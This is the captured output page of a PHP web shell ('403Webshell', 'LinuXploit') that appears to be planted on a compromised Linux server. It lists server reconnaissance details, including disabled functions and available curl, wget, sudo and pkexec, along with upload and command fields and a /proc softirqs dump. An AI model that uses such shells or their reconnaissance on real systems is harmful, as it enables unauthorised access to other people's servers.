403Webshell
Server IP : 88.99.149.37  /  Your IP : 216.73.216.141
Web Server : nginx/1.31.2
System : Linux server-88-99-149-37 6.12.0-124.56.5.el10_1.x86_64 #1 SMP PREEMPT_DYNAMIC Fri May 15 06:12:08 EDT 2026 x86_64
User : muralimurth ( 1015)
PHP Version : 8.4.23
Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/1/root/proc/thread-self/root/proc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/1/root/proc/thread-self/root/proc//softirqs
                    CPU0       CPU1       CPU2       CPU3       CPU4       CPU5       CPU6       CPU7       CPU8       CPU9       CPU10      CPU11      
          HI:          7         25         27          8          1          2          6         23        164          9          1          1
       TIMER:  119452605  197164086  209635917   53477312   41955478   39068228   98222896  116851545  178335826   39175431   56332986   42347277
      NET_TX:     288830     313782   20952543    1612447    1429514    4424049   22302965    1271503     200661    3801520   21869247    9751458
      NET_RX:    2505389    3656331  522810215   34895861   45500670  127395374  522556021   18455776    2871990   84918039  521406693  223314951
       BLOCK:      38207      29901      28254      10246      14954      31279      14703      17894      15626      37053      12649      34672
    IRQ_POLL:          0          0          0          0          0          0          0          0          0          0          0          0
     TASKLET:        589       8091   48373126    3048294    4008163   10962269   49959569    1768415      37347    8310041   50842575   21644146
       SCHED: 2055050021  962077222  751526107  357916589  205769872  165775604  369682305  467139108  487765027  138720319  151717239  135300377
     HRTIMER:        168        274      19144        725       1060       3581      16861        210        133       1926      12063       5236
         RCU:  351400854  426250870  430021952  242793461  186581866  185107219  348176812  425214570  418182743  177577342  177624381  173455138

Youez - 2016 - github.com/yon3zu
LinuXploit